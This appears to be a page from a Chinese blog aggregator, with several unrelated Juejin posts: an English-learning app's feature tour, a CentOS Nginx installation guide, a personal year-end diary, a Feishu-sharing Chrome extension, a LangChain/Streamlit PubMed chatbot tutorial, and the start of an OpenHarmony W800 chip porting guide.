虽然,现在市面上涌现出大量 AI 英语学习软件。然而,我认为使用蹩脚英语和 AI 沟通以提升英语水平的效果不会那么显著。主要原因在于当我们和 AI 深入探讨一个话题时,我们可能无法顺畅得表达。而如果用错误的表达方式和 AI 沟通下去可能反而会因此养成错误的习惯。

所以,虽说英语强调听、说、读、写,但是要搞清楚它们的顺序。如下图,听和读是输入的过程;写和说是输出的过程;单词和语法是基础。

英语能力模型.drawio.png

我的第一个理念是,正确的输入强于错误的输出。因为学习是一个模仿和重复的过程,因此我们需要先进行正确的输入。如果输入的内容是错误的,那最终的结果自然也是错误的。这存在一个例外,即我们输出错误的内容,然后及时被纠正转而成为正确的输入。但,这个例外的前提是存在纠正的机制。因此,流畅得书写和交流的前提是先通过聆听和阅读进行积累。

我的第二个理念是,先慢后快。语感就是一种感觉,是潜意识的产物,需要通过刻意练习(显意识)来强化。因此,我强调把“写”应该放在“说”之前。因为“写”是一个慢过程,而“说”是一个快过程。在写的过程中,我们可以斟酌语法和用词。这样可以让我们的表达更准确。“写”是“说”的储备阶段。写得多了,说得自然流利。我在初中之前完全没接触英语,而高中时就能用英语交流。秘诀就在于此。我记得初中时,每次考试时我都会把写作当作一次试验。我会根据语法感觉来写作,然后根据老师的批改纠正,以此提升“语感”。

既然如此,就看下我的软件是如何帮助你提升这些能力的吧。

2、提升阅读能力

英语学习不是背几个单词这么简单。通过阅读提升英语是最好的学习方式之一。这是因为:

  1. 通过阅读可以将单词放在具体语境下。单词就好比一个人,以前是一串名字,现在有血有肉了。
  2. 阅读就像大规模的语法练习,可以帮助我们提升语法理解。
  3. 对于某些专业领域,我们可以通过阅读相关的文章来积累该领域常用的单词、词组和表达方式。

阅读英语新闻或者博文和 CET 考试不同。尽管我 CET6 阅读能达到 220 分,但是当阅读新闻的时候仍然感觉吃力。主要原因有:

  1. 词汇量不足。我虽然考过六级,但是四级都没怎么背过,所以词汇量欠缺。

  2. 语法结构适应问题。英语语法的复杂之处在于修辞。英语习惯把修辞放在后面,所以断句、判断定语和状语等描述的对象往往是读懂句子的关键。

  3. 单词在具体语境中的含义不清。很多常用的单词,我们一看就认识,但是放在这个文章里就弄不清其含义。比如,"A video aired on Friday""show me up"。第一个例子中 air 一般用来表示空气,但是这里用到的 air 的含义是 “播放”。而第二个例子里,一般 "show up" 是 "出现/露面" 的含义,然而这里表达的意思是 "让我难堪/丢脸"。

那么,我是如何通过自己设计的功能解决这些问题的呢?

首先,我为软件设计了网页阅读的功能。它类似于 划词翻译 插件。不过我是以应用内嵌浏览器的形式实现呈现(Android 版本可以使用系统特性实现在任何浏览器长按之后查词和翻译)。

当你选择查询一个单词的时候,和划词翻译插件一样,软件会为你自动摘取单词在文中的段落信息。此外,我还提供了 句子翻译 的能力。这对于理解句子的语法非常有帮助。当你遇到一个因为语法或者单词障碍看不懂的单词的时候,可以进行整句翻译,然后再根据翻译的结果分析句子的语法。为了追求更纯粹的英文环境,我还增加了单词的英英翻译功能。

article_1.png

当你查询了单词或者翻译了句子之后,可以将其收藏并按照背单词的逻辑进行后续复习。

3、背单词的创新

当我使用了软件一个月后发现——虽然通过阅读可以积累单词,但是当词汇量较少时,最好还是先通过背单词积累单词量,这样阅读才会更加顺畅无阻。于是我又为软件增加了背单词的功能。即,背单词是主动掌握,阅读是被动掌握。先通过背单词积累词汇量,然后通过阅读查缺补漏

在我考虑加入该能力之前就深知背单词软件的内卷,所以,一开始我是拒绝的。然而,我发现很多背单词软件并不能满足我的要求。其他软件的问题在于,

  1. 单词信息不足。这体现在:1). 音标只有美式或者英式发音中的一个;2).音标无法朗读;3).单词含义只有一个。虽然一个单词对应一个中文含义记忆起来容易,但是这对提升能力弊大于利。

  2. 新颖但是低效。比如通过英语视频的片段学习单词。这种方式虽然新颖,但是太低效,甚至不如阅读。

  3. 缺少我想要的功能。我把记忆单词比作认识人,我理想的软件需要满足几个条件:1).帮助我高频、多次学习单词;2).单词内容丰富、形象丰满;3).为懒人设计,充分利用碎片化时间;4).具备强大的归纳和整理能力。而市面上鲜有与之相匹配的软件。

那么,我是如何对这个功能创新的呢?

3.1 为单词提供丰富的信息

除了一般的含义和例句,我们的单词信息包含:

  1. 单词
  2. 音标:可自动朗读,含美式发音和英式发音
  3. 熟悉度
  4. 检测状态
  5. 标签
  6. 含义:多个含义和词性
  7. 英文含义:用英语解释单词
  8. 用户自定义笔记
  9. 单词的过去时等形式
  10. 单词阅读来源
  11. 例句
  12. 辅助记忆提示
  13. 常用词组
  14. 近义词
  15. 同根词
  16. 双向关联
  17. 考试信息
  18. 其他词典关联
  19. 单词的热力图
  20. 单词的时间信息
  21. 拓展信息

article_2.png

3.2 引入卡片笔记管理方法

为了方便用户对单词归类整理。我们引入了卡片笔记中重要的两个管理方法:多层级标签和双向链接

article_3.png

双向链接允许用户对两个单词进行任意关联。虽然,我们为单词提供了近义词、同根词等。但是对于某些不容易区分的单词,用户可以使用双向链接关联。比如,statusstatue, scaredsacred 等。

标签允许用户对单词进行归类整理。不仅如此,我们还可以用来对某些单词进行标记。比如,对发音有问题的单词,我们可以将其纳入一个标签,然后不定期复习来纠正单词的发音问题。多层级标签允许用户使用标签对单词进一步归类。比如,生物/动物生物/植物 等。

3.3 帮助提升听力能力

我过去学习单词时的一个误区是忽视了音标的重要性。这也是导致我听力不行以及交流时对发音存在顾虑的主要原因。为了解决这个问题,我做了如下优化。

首先,我们会提供基本的美式和英式发音。其次,我们增加了美式抑或英式发音优先的选项,旨在帮助需要优先掌握某种发音的用户。然后,我为软件增加了自动朗读的能力。 当展示单词的时候会自动对两个音标朗读。这可以纠正我们忽视音标的坏习惯。

3.4 充分利用碎片时间

我们的软件借鉴了笔记卡片管理法,复习单词时就是以卡片形式呈现,支持手势左右滑动。然而,我们在这些功能的基础上做了进一步创新——支持卡片自动翻页

article_4.png

记忆单词并不一定拿出大片完整的时间,而是可以穿插到日常的工作、学习和生活中。比如,你可以一边做家务一边让单词在那里循环。辅之,每个翻到每个卡片的时候会自动朗读音标。我们可以在听到单词的时候进行回忆,如果回忆不出来,偷瞄一眼屏幕就达到了学习的效果。

3.5 基于艾宾浩斯遗忘曲线设计

英语复习模型.drawio.png

和绝大多数软件一样,我们也采用 艾宾浩斯遗忘曲线 原理。不过,我们比其他软件更加直观。我们使用“熟悉度”来量化用户对于单词的掌握程度。并且,我们通过单词学习的时间热力图帮助用户追踪单词的学习记录。

article_5.png

对于已掌握的单词,我们会根据学习完成的时间,将其以周的维度进行归纳。这样用户可以随时按周对已掌握单词再次回顾。因此,相对于一般的基于艾宾浩斯遗忘曲线设计的软件。我们赋予了用户更多的灵活性。

3.6 多种检测方式

我们为用户提供了 4 种学习情况检测方式。包括交给用户自己判断是否熟悉的 Y/N 列表、Y/N 卡片;给定单词来选择含义的选择题模式;以及更具挑战性的拼写模式。用户可以根据自己的喜好进行选择。

article_6.png

我们会记录每个单词的检测记录,以此来帮助用户了解自己的掌握状况。

3.7 赋予用户更多自主权

用户在使用我们的软件的时候并非只是信息的被动接受者,我们赋予了用户更多的自主权,以此来提升用户学习过程的参与感。用户可以为单词添加笔记,记录自己的心得、想法或者吐槽。用户可以使用标签和双向链接进行归纳整理等。

3.8 AI 助力学习

我们基于开源项目,使用 ChatGPT 为单词增加了更丰富的信息,涵盖了词义、例句、词根词缀、变形、文化背景、记忆技巧和小故事。这将帮助用户更好地掌握和理解这个单词。

更重要的是,我们在单词的信息页面增加了智能机器人,并提供了常用的 Prompt. 我们在学习单词的过程中经常会遇到一些含义相近的单词,比如,crewstaffpersonnel. 它们之间有什么区别,各自的使用场景又如何。这些问题如今可以全部交给 AI 回答。这可以帮助我们更好地理解单词,解决我们学习中的困惑。

article_7.png

4、口语与写作

在我们的软件中,我增加了写作的能力。用户可以以日记或者其他形式写作,然后通过 AI 对语法和用词进行批改。此处,AI 扮演了一个老师的角色。通过这种方式我们可以锻炼自己的英语应用能力。此外,为了辅助用户写作,我为软件添加了单词查询和句子翻译能力。同时,为了提升口语的能力,我增加了录音的功能以及 AI 朗读的能力。你可以通过比照人工智能朗读和自己朗读的效果来纠正发音的问题。

article_8.png

这个功能针对的是英语在实际生活中的应用。比如,当我们需要为一个工作面试准备的时候,我们可以先根据过往的面试经验准备一些自问自答的问题。先通过写作培养语感,那么到时候面试时自然手到擒来。

总结

这款软件是我在使用和迭代过程中逐渐开发和完善而成的,坚固学习的效率和实际生活中的应用。随着软件使用的越久,沉淀得越多,效果也会越好,值得长期投入。你可以到应用商店下载我们的软件。如果你对软件的功能有好的建议,可以随时通过应用内提供的渠道向我们反馈。

下载链接apps.apple.com/cn/app/实用英语…

目前开发的是 iOS 版本,支持 iPhone 和 iPad. Android 版功能暂时不全。如果你有意向,可以告知我。Mac 版本规划中,侧重写作和阅读能力(大屏能达到更好的效果)。

关于作者

前大厂高级工程师,独立开发者,独立开发过多款应用且实现盈利,负责过日活千万应用,技术接近全栈(前后端、Android、iOS、服务器以及 Python 等)。联系我:

by 开发者如是说 at January 21, 2025 02:31 PM

juejin backend

如何解决 CentOS 安装 Nginx 时遇到 “无可用安装包” 的问题

如何解决 CentOS 安装 Nginx 时遇到 “无可用安装包” 的问题

在 CentOS 上安装 Nginx 时,可能会遇到以下错误信息:

Error: No matching Packages to install

这个问题通常出现在系统无法找到 Nginx 包的情况下。可能的原因是 YUM 仓库未正确配置或没有启用 Nginx 的安装源。下面是解决这个问题的步骤:

1. 安装必要的工具

首先,确保系统安装了 yum-utils 工具包,它包含了很多有用的 YUM 命令:

sudo yum install yum-utils

2. 配置 Nginx 仓库

CentOS 默认的 YUM 仓库中没有 Nginx,因此需要手动配置 Nginx 的软件源。可以按照以下步骤进行配置:

  1. 创建 Nginx 仓库文件
    /etc/yum.repos.d/ 目录下创建名为 nginx.repo 的文件,并加入以下内容:
sudo vi /etc/yum.repos.d/nginx.repo

文件内容如下:

[nginx-stable]
name=nginx stable repo
baseurl=http://nginx.org/packages/centos/$releasever/$basearch/
gpgcheck=1
enabled=1
gpgkey=https://nginx.org/keys/nginx_signing.key
module_hotfixes=true

[nginx-mainline]
name=nginx mainline repo
baseurl=http://nginx.org/packages/mainline/centos/$releasever/$basearch/
gpgcheck=1
enabled=0
gpgkey=https://nginx.org/keys/nginx_signing.key
module_hotfixes=true
  • nginx-stable 仓库提供稳定版的 Nginx。
  • nginx-mainline 仓库提供 Nginx 的主线版。

如果你想使用主线版本(即最新的功能和改进),你可以启用 nginx-mainline 仓库,执行以下命令:

sudo yum-config-manager --enable nginx-mainline

3. 安装 Nginx

配置好仓库之后,就可以使用以下命令安装 Nginx:

sudo yum install nginx

系统会自动从你配置的仓库中下载安装包。如果系统提示你接受 GPG 密钥,确认指纹为 573B FD6B 3D8F BC64 1079 A6AB ABF5 BD82 7BD9 BF62,然后接受即可。

4. 启动 Nginx 服务

安装完成后,可以通过以下命令启动 Nginx 服务:

sudo systemctl start nginx

若希望 Nginx 开机自启动,可以使用以下命令:

sudo systemctl enable nginx

5. 检查 Nginx 状态

可以通过以下命令检查 Nginx 服务是否正常运行:

sudo systemctl status nginx

总结

如果在 CentOS 上安装 Nginx 时遇到 "无可用安装包" 错误,通常是因为没有正确配置 Nginx 的 YUM 仓库。按照上面的步骤配置好仓库后,重新运行安装命令即可解决问题。

by IT小辉同学 at January 21, 2025 02:20 PM

juejin career

24年第四季度,不再内耗之后

2025年的1月,已经又过去三分之二,而我给予自己的任务——整理“24年第四季度”和“24年年终总结”——却一直没有开始。我不强迫,只基于自己的散漫感觉行事,散漫的结果,是拖延拖延再拖延,一直到这个周日早上10点。

24年第四季度,我做了一个大的决定,或者应该说,终于将那“离开国企”的决定落了地。决定落地之后的改变是显著的,我收获“空灵”,有时间会记下“感觉自己有点帅”,甚至“觉得自己很好”,24年第四季度,敢于将自己日记发表在公众号之后,在有时间时候,我又发表许多篇日记。

《程序员修炼之道·通向务实的最高境界(第二版)》是云风大大翻译的,我加入书架很久却没有持续阅读,已经阅读的内容当中,有一段话是这样的:

提示3 你有权选择

你的工作环境很糟糕?你的工作很无聊?尝试纠正它。不过,不要一直试下去。正如Martin Fowler说的,“你可以去改变组织,或是让自己换一个组织。”

如果你的技术过时了,安排时间(你自己的时间)学习一些看起来有趣的新东西。这是一种自我投资,只有为此而加班才是合理的。

想远程工作?要求过了吗?如果他们说不行,就去找个说行的人。

这个行业给了你一系列非凡的机遇。积极主动点,掌控这些机遇。

我对其中的“远程工作”印象很是深刻,于是一直记得,写本篇时再去翻书再看“你有权选择”,我认为前面的三条,全然命中我在24年第四季度所拥有的经历:我终于换一个组织,我开始学习有趣的新东西并且会为之加班,我现在的工作,是远程办公。

过去的两个多月,我偶尔会对阿妮说:“我觉得我这个工作真的还挺不错的,同事们都挺厉害,老板务实不画饼,虽然很忙,但我确实在一直学习新东西。我有从工作中收获搞定事情的成就感。”

真实的幸福》当中,Seligman教授将工作划分为工作(job)、职业(career)及事业(calling)三种层次:工作是为生存,我们工作的原因只是想着拿到工资养家糊口;职业是对工作有更深投入,除了拿工资之外,我们还追求升迁与进步;事业则是对这份工作本身充满热情,工作本身便能带来满足感,并不需要额外的激励。

在当下,我想自己拿到工资养家糊口的同时,也对工作本身充满着热情。

24年第四季度,我读书很少,听书很多。我的阅读书目,只有基本上每天都会看上一些的《行为主义》和真诚记录真实生活的《闭经记》,听书则主要是简体版《资治通鉴》。对的,之前说每天看英文版《Game of Thrones》10分钟,我并没有很好执行。

在家办公以来,不下雨且阿妮不想出去遛弯的夜晚,我会去到旁边小区的球场练练投篮。室外很冷,球场有灯只有一个两个人,在空旷球场我有新交几位小小朋友一起练球。其中一位胖胖六年级小学生有天晚上问我:“你说我们现在的关系像是伯牙和子期么?”

我已经忘记当时自己的回应是怎样的,但当下这一刻,我的答案是:“对的,我们是球场上的伯牙与子期。”

24年第四季度,俯卧撑,依然每天都有做。或许是在家办公久坐时间变得更长,周中篮球的剧烈程度降低,晚饭份量管控不当,每天10个俯卧撑的效用已经明显降低,我感觉自己肚子的容量,又开始上涨。

《百词斩》是我一直使用的背单词软件,它将单词分了类别:考研、四六级或是雅思,等等等等。24年第四季度“背”完一遍雅思词汇之后,我新开始的词书是《计算机·通用入门800词》。这词书,我花1块钱购买,这是我在《百词斩》的第一次付费。

“沉没成本”,是我在五六年前看到的且觉得很有些高端的词语,它大体意思是如果我们就某一项事情已经投入许多,即便未来这件事情已经不能给我们带来收益,我们依然会继续投入不舍得止损。我已经感觉到,背单词可能并不是我当前阶段提升英文水平的最好办法,但我依然钟情于背单词,钟情于那坚持天数的一天天上涨。

我意识到改变11点睡觉的作息,并不能很好帮助自己打破一些固化思维,而反而会影响我第二天的状态,于是重拾11点睡觉习惯。11月倒数第二天,我抢到一个常常断货的小米手环9Pro,佩戴一个月,它基于我的睡眠告诉我我的“睡眠动物”是棕熊:“在分析了您的睡眠行为后,得出您的睡眠类型与棕熊更相似。您拥有健康的睡眠习惯,睡眠充足,并且入睡后不会轻易清醒。棕熊在不冬眠时作息规律,白天活跃,夜晚睡眠,和太阳的活动周期最为接近,每晚至少要睡够8小时。”

在家办公以来,周中很忙,只偶尔晚饭煮些面条或是煮点路边买回家的饺子,而周末,会很想出去放风。于是第四季度的做饭,并没有很多,但有一道菜,是值得记上一笔的,它是我基于过往经验而新悟出来的。

图片

煸辣椒

一些二荆条,少量红色朝天椒,切成手指长短小片,锅中不放油加一点点盐直接炒,炒到有些焦。大蒜切粒再剁碎,加一点点水。将大蒜水和辣椒和在一起,是我悟出的新菜。对的,真正将它组装出来之前,我没有搜索也没有打电话问母亲,就好像自然就会一样。

“吃得下饭、睡得着觉”,是溥仪先生在《我的前半生》当中所说的最好人生状态。

状态恢复不内耗之后,我在第四季度,有主动约几位久不相约的朋友。

by 我要改名叫嘟嘟 at January 21, 2025 02:12 PM

juejin freebie

Send-to-Feishu: 一个帮你快速分享网页内容到飞书的 Chrome 扩展

👋 掘金的朋友们,大家好!我开发了一个 Chrome 扩展,可以让你方便地把网页内容分享到飞书,希望能帮助到同样有这个需求的朋友。

output.webp

🤔 为什么要开发这个扩展?

作为一个开发者,我经常需要在浏览网页时将一些有用的内容(比如技术文档、博客文章、Stack Overflow 答案等)分享到飞书群组或保存到自己的飞书机器人,以便后续查看或与团队分享。但是每次都要复制粘贴实在太麻烦了,所以我开发了这个扩展。

✨ 主要功能

  • 一键分享当前标签页到飞书
  • 右键发送选中文本到飞书
  • 右键发送链接到飞书
  • 支持发送到个人或群组
  • 完全开源,不需要第三方服务器

🛠 技术特点

  • 使用飞书官方 API,安全可靠
  • 支持自定义接收者(用户/群组)
  • 轻量级实现,不影响浏览器性能
  • 开源代码,欢迎贡献

📦 如何使用

  1. 从 GitHub 克隆项目并在开发者模式下加载
  2. 配置飞书应用信息(app_id、app_secret 等)
  3. 开始使用!

详细安装和配置说明请查看 GitHub 仓库

🚀 开发计划

  • 支持直接发送图片
  • 添加快捷键支持
  • 添加自定义内容发送界面
  • 自动获取飞书配置信息

🙋‍♂️ 期待您的反馈

这是一个开源项目,欢迎大家:

  • 提出建议和需求
  • 反馈使用中遇到的问题
  • 贡献代码或文档
  • 如果觉得有用,请给个 Star ⭐

项目地址:Send-to-Feishu-Chrome-Extension

💡 灵感来源

本项目修改自 Send-to-XX,感谢原作者的开源贡献。


如果您有任何问题或建议,欢迎在 GitHub 上提 issue 或直接与我交流!

by Windyskr at January 21, 2025 01:26 PM

从基础到进阶:基于 LangChain、Streamlit 和 PubMed 构建 AI Agents (一)

最近休假有些空闲时间,于是我决定整理一下2024年做的AI Agents项目,并把前几天分享的经验,利用一个使用场景(PubMed筛查Agent)和代码分享给大家。在整理的过程中,我一边写,一边输出代码,结果不知不觉就形成了一个系列。今天来分享这个系列的第一篇:基础篇。从这一篇开始,我会带你一步步构建一个基于RAG技术的Streamlit应用——PubMed筛查器。这个工具结合了ChatGPT和PubMed数据库,帮助你从生物医学研究摘要中快速提取关键信息。

这个项目特别有意义——它能帮助生物科技领域的人员高效地找到所需的科研信息,解答他们的疑问。

系列中的会将代码设计灵活一些,提供一些标准接口,大家可以根据需要随时更换任何需要的大模型(LLM)或向量存储。

每篇文章我尽量会详细讲解,内容通俗易懂,就算你是新手,也能轻松跟上。

最后,我会把完整的源代码上传到Gitee,大家可以自由下载并根据自己的需求进行修改。

注意:需要体验效果的可以私信

前置条件

为了顺利跟随本系列进行实操,你需要具备以下条件:

  • 访问你选择的聊天模型,本教程中我们将使用OpenAI(gpt-4o-2024-11-20);
  • 本地开发环境,Python版本(3.11),以及你选择的IDE;
  • 我在Linux(Ubuntu)环境下工作。

应用场景——PubMed筛查器

假设你是一名医学研究人员,正在进行文献搜索,想找到与自己研究相关的线索。你可能会通过PubMed等公共科学数据库来查找相关论文。

如果有一个agents,能帮助你自动筛选出相关的论文,并提供一个互动界面,让你无需逐篇阅读摘要,就能快速提取关键信息,那该多高效!

我们将开发这样的agents,帮助研究人员用自然语言查询PubMed数据库,快速获取并分析数据,从而大大提高文献搜索的效率。

用例工作流程

  • 医学研究人员提出问题(用自然语言)。
  • 通过大型语言模型(LLM)将问题转换为PubMed的查询格式。
  • 使用PubMed API搜索并获取相关的研究摘要。
  • 从摘要中生成数据向量,并存储到向量数据库。
  • 使用RAG技术回答研究人员的问题,之后他们可以通过聊天界面继续提问。

什么是RAG,为什么它有用?

检索增强生成(RAG)是一种结合语言模型和检索系统的技术,它可以从外部来源获取真实的信息,并将这些信息融入到生成的文本中。这样,生成的内容就更加准确可靠。

开始构建应用

好了,接下来我们动手,开始为医学研究人员打造这个AI agents吧!

环境搭建

首先,我们需要为这个项目创建一个虚拟环境。你可以用任何你喜欢的Python环境管理工具来创建。对我来说,我使用的是_venv_。

  • 创建一个新的项目文件夹:
`mkdir langchain-rag-screener`
  • 创建虚拟环境:
`python -m venv langenv`
  • 激活虚拟环境:
`sourcelangenv/bin/activate`

设置项目结构

接下来,我们会按照以下的结构来搭建项目:

.
├── app
│ ├── app.py
│ ├── components
│ │ ├── chat_utils.py
│ │ ├── llm.py
│ │ └── prompts.py
│ └── tests
│ └── test_chat_utils.py
├── assets
│ └── m.png
│ └── favicon32-32.ico
└── environment
└── requirements.txt

environment/requirements.txt

这个文件会列出你项目需要的所有工具和库。对于我们这个项目,依赖项如下:

streamlit==1.41.1 
python-dotenv==1.0.1
langchain==0.3.14
langchain-community==0.3.14
langchain-core==0.3.30
langchain-openai==0.3.1
langchain-text-splitters==0.3.5
langsmith==0.2.11

创建一个requirements.txt文件后,可以使用下面的命令安装所有依赖:

pip install -r environment/requirements.txt
  • assets文件夹用来存放图片——比如我们的应用logo。这是可选的,你可以根据个人喜好添加自己喜欢的图片。
  • app文件夹里存放的是我们应用的所有代码。

接下来,我们看一看app文件夹中的每个 .py 文件,并详细讲解代码的内容。

components/llm.py

  • 这个文件中包含了一个 LangChain 聊天模型的实例,它负责连接我们的大型语言模型(LLM)。
  • 这里的对象就是 LangChain 的聊天模型。为了方便,本教程我用的是 AzureChatOpenAI,但你可以自由选择任何一种LangChain提供的聊天模型(你也可以参考 LangChain 的GitHub文档)。
  • 为了让 OpenAI 模型正常工作,你需要设置一些环境变量。只需要在项目的根目录下创建一个叫.env的文件。比如,我的 AzureOpenAI GPT-4 模型的

.env文件内容如下:

llm.py with ChatOpenAI model

from langchain_openai import ChatOpenAI
from dotenv import load_dotenv
import os

load_dotenv()

OPENAI_API_KEY = os.getenv('OPENAI_API_KEY')

llm = ChatOpenAI(
    model="gpt-4o-2024-11-20",
    temperature=0,
    max_tokens=None,
    timeout=None,
    max_retries=2,
    api_key=OPENAI_API_KEY
)

components/prompts.py

  • 在这个 .py 文件中,我们将定义Agents的提示模板:
from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder

chat_prompt_template = ChatPromptTemplate.from_messages(
    [        ("system", "你是一个专门为生物医学领域设计的聊天机器人,利用 ChatGPT 技术与 PubMed 数据库结合,帮助用户高效检索研究摘要。"),        MessagesPlaceholder(variable_name="history"),        ("human", "{question}"),    ]
)
  • 提示模板决定了每次调用时,LLM 将接收到的格式。
  • 这里,我们有一个系统指令("你是一个专门为生物医学领域设计的聊天机器人,利用 ChatGPT 技术与 PubMed 数据库结合,帮助用户高效检索研究摘要。"),一个MessagesPlaceholder对象,它表示聊天历史记录,将会包含在提示中,以及引用用户提问("{question}")。
  • 注意:这只是本系列中最初的简单示例,接下来我们会创建一个更复杂的提示模板,包含从 RAG 检索到的片段。

components/chat_utils.py

  • 这个文件实现了Agents的核心功能。
  • ChatAgent类包含了设置链(聊天引擎)、管理聊天历史和在界面上显示消息所需的方法。
import streamlit as st
from langchain_core.runnables.history import RunnableWithMessageHistory
from langchain_core.runnables.base import Runnable
from langchain_community.chat_message_histories import StreamlitChatMessageHistory
from langchain_core.prompts import ChatPromptTemplate
import time


class ChatAgent:
    def __init__(self, prompt: ChatPromptTemplate, llm: Runnable):
        """
        初始化 ChatAgent。

        参数:
        - prompt (ChatPromptTemplate): 聊天提示模板。
        - llm (Runnable): 语言模型可运行对象。
        """
        self.history = StreamlitChatMessageHistory(key="chat_history")
        self.llm = llm
        self.prompt = prompt
        self.chain = self.setup_chain()

    def setup_chain(self) -> RunnableWithMessageHistory:
        """
        为 ChatAgent 设置链。

        返回:
        - RunnableWithMessageHistory: 配置有消息历史的链。
        """
        chain = self.prompt | self.llm
        return RunnableWithMessageHistory(
            chain,
            lambda session_id: self.history,
            input_messages_key="question",
            history_messages_key="history",
        )

    def display_messages(self):
        """
        在聊天界面显示消息。
        如果没有消息,添加一个默认的 AI 消息。
        """
        if len(self.history.messages) == 0:
            self.history.add_ai_message("我能帮您做些什么?")
        for msg in self.history.messages:
            st.chat_message(msg.type).write(msg.content)

    def start_conversation(self):
        """
        在聊天界面开始对话。
        显示消息,提示用户输入,并处理 AI 响应。
        """
        self.display_messages()
        user_question = st.chat_input(placeholder="有什么问题都可以问我哦!")
        if user_question:
            st.chat_message("human").write(user_question)
            config = {"configurable": {"session_id": "any"}}
            response_placeholder = st.empty()  # 创建一个空的 Streamlit 容器
            response = self.chain.invoke({"question": user_question}, config)

            # 一个字符一个字符地显示响应
            current_text = ""
            for char in response.content:
                current_text += char
                response_placeholder.text(current_text)
                time.sleep(0.05)  # 暂停0.05秒

app.py

  • 这是 Streamlit 应用的入口,也是唯一的页面。
  • 这段代码包含了 Streamlit 应用页面的布局,它实例化了 ChatAgent 类,并调用了该类的 start_conversation 方法:
import streamlit as st
from components.chat_utils import ChatAgent
from components.prompts import chat_prompt_template
from components.llm import llm


def main():
    # 设置页面配置
    st.set_page_config(
        page_title="PubMed 筛查器",  # 页面主题
        page_icon='../assets/favicon32-32.ico',  # 主题logo
        layout='wide'
    )

    # 定义两列 - 布局水平分割
    col1, col2 = st.columns([1, 3])

    # 在第一列放置logo
    with col1:
        st.image('../assets/m.png')

    # 在第二列,放置供用户可能会问的一些示例科学问题。
    with col2:
        st.title("PubMed 筛查器")
        st.markdown("""
                    PubMed 筛查器是一个结合 ChatGPT 和 PubMed 数据库的洞察工具,帮助你从生物医学的研究摘要中获取信息。
                    #### 你可以问这样的问题
                    - 如何使用先进的成像技术和检测标志物来早期诊断和监控脑部疾病的发展?
                    - 干细胞技术在治疗脑部疾病方面有哪些可能性,这些治疗方法面临哪些挑战?
                    - 肠道中的微生物如何影响糖尿病的发展,我们能通过调整这些微生物来帮助治疗糖尿病吗?
                    - 癌症治疗中常用的靶向药物为什么会失效,我们怎样才能克服这种抗药性?
                  """)

    # 聊天机器人组件
    chat_agent = ChatAgent(prompt=chat_prompt_template, llm=llm)
    chat_agent.start_conversation()


# 主程序
if __name__ == "__main__":

    main()
  • 这是应用的入口点,现在我们可以直接运行它,在浏览器里查看我们想要的效果!

运行应用

  • 打开**/app**文件夹,然后输入以下命令来启动应用:
streamlit run app.py

运行结果

接着,在浏览器中访问以下网址:http://localhost:8501/

你可以看到类似这样的界面,说明我们已经运行成功了

  • 正如你看到的,我们的聊天机器人应用现在已经能够正常运行了,但它目前只能根据LLM在训练时掌握的知识给出一些高层次、通用的回答。这对于医学研究来说并不理想,因为LLM可能会错过最新的研究成果,而且我们也无法确认回答中信息的来源,这增加了“幻觉”信息的风险。
  • 在本系列的后续部分,我们将通过从PubMed数据库中检索科学摘要,来为LLM的回答提供更可靠的依据,并教LLM在回答中提供相关来源的引用。

敬请关注后续内容!

by MobotStone at January 21, 2025 01:02 PM

juejin backend

OpenHarmony(鸿蒙南向开发)——Combo解决方案之W800芯片移植案例

本方案基于OpenHarmony LiteOS-M内核,使用联盛德W800芯片的润和软件海王星系列 Neptune100开发板 ,进行开发移植。移植架构采用BoardSoC分离方案,支持通过Kconfig图形化配置编译选项,增加玄铁ck804ef架构移植,实现了HDFXTS等子系统及组件的适配。

适配准备

准备ubuntu20.04系统环境,安装 csky-abiv2-elf-gcc 交叉编译工具链。

编译构建

目录规划

本方案的目录结构使用 Board和Soc解耦的思路:

芯片适配目录规划为:

device
├── board                                --- 单板厂商目录
│   └── hihope                           --- 单板厂商名字:HiHope
│       └── neptune100                   --- 单板名:Neptune100
└── soc                                  --- SoC厂商目录
    └── winnermicro                      --- SoC厂商名字:联盛德
        └── wm800                        --- SoC Series名:w800系列芯片

产品样例目录规划为:

vendor
└── hihope                               --- 开发产品样例厂商目录,润和软件的产品样例
    ├── neptune_iotlink_demo             --- 产品名字:Neptune100产品样例代码
    └── ...

产品定义

vendor/hihope/neptune_iotlink_demo/config.json文件下,描述了产品使用的内核、单板、子系统等信息。其中,内核、单板型号、单板厂商需提前规划好,是预编译指令hb set关注的。例如:

{
  "product_name": "neptune_iotlink_demo",   --- 产品名
  "ohos_version": "OpenHarmony 3.1",        --- 使用的OS版本
  "type":"mini",                            --- 系统类型: mini
  "version": "3.0",                         --- 系统版本: 3.0
  "device_company": "hihope",               --- 单板厂商:hihope
  "board": "neptune100",                    --- 单板名:neptune100
  "kernel_type": "liteos_m",                --- 内核类型:liteos_m
  "kernel_version": "3.0.0",                --- 内核版本:3.0.0
  "subsystems": []                          --- 子系统
}

填入的信息与规划的目录相对应,其中device_companyboard用于关联出device/board/<device_company>/目录。

单板配置

关联到的目录下,在device/board/hihope/neptune100/liteos_m目录下放置config.gni文件,该配置文件用于描述该单板信息,包括CPU型号、交叉编译工具链及全局编译、链接参数等重要信息:

# Kernel type, e.g. "linux", "liteos_a", "liteos_m".
kernel_type = "liteos_m"

# Kernel version.
kernel_version = "3.0.0"

# Board CPU type, e.g. "cortex-a7", "riscv32".
board_cpu = "ck804ef"

# Board arch, e.g.  "armv7-a", "rv32imac".
board_arch = "ck803"

# Toolchain name used for system compiling.
# E.g. gcc-arm-none-eabi, arm-linux-harmonyeabi-gcc, ohos-clang,  riscv32-unknown-elf.
# Note: The default toolchain is "ohos-clang". It's not mandatory if you use the default toolchain.
board_toolchain = "csky-elfabiv2-gcc"

#use_board_toolchain = true

# The toolchain path installed, it's not mandatory if you have added toolchain path to your ~/.bashrc.
board_toolchain_path = ""

# Compiler prefix.
board_toolchain_prefix = "csky-elfabiv2-"

# Compiler type, "gcc" or "clang".
board_toolchain_type = "gcc"

# config.json parse
if (product_path != "") {
  product_conf = read_file("${product_path}/config.json", "json")
  product_name = product_conf.product_name
  bin_list = product_conf.bin_list
}

# Board related common compile flags.
board_cflags = [
  "-mcpu=ck804ef",
  "-mhard-float",
  "-DGCC_COMPILE=1",
  "-DTLS_CONFIG_CPU_XT804=1",
  "-DNIMBLE_FTR=1",
  "-D__CSKY_V2__=1",
  "-DCPU_CK804",
  "-O2",
  "-g3",
  "-Wall",
  "-ffunction-sections",
  "-MMD",
  "-MP",
]

board_cxx_flags = board_cflags

board_asmflags = [
  "-mcpu=ck804ef",
  "-DCPU_CK804",
]

board_ld_flags = []

# Board related headfiles search path.
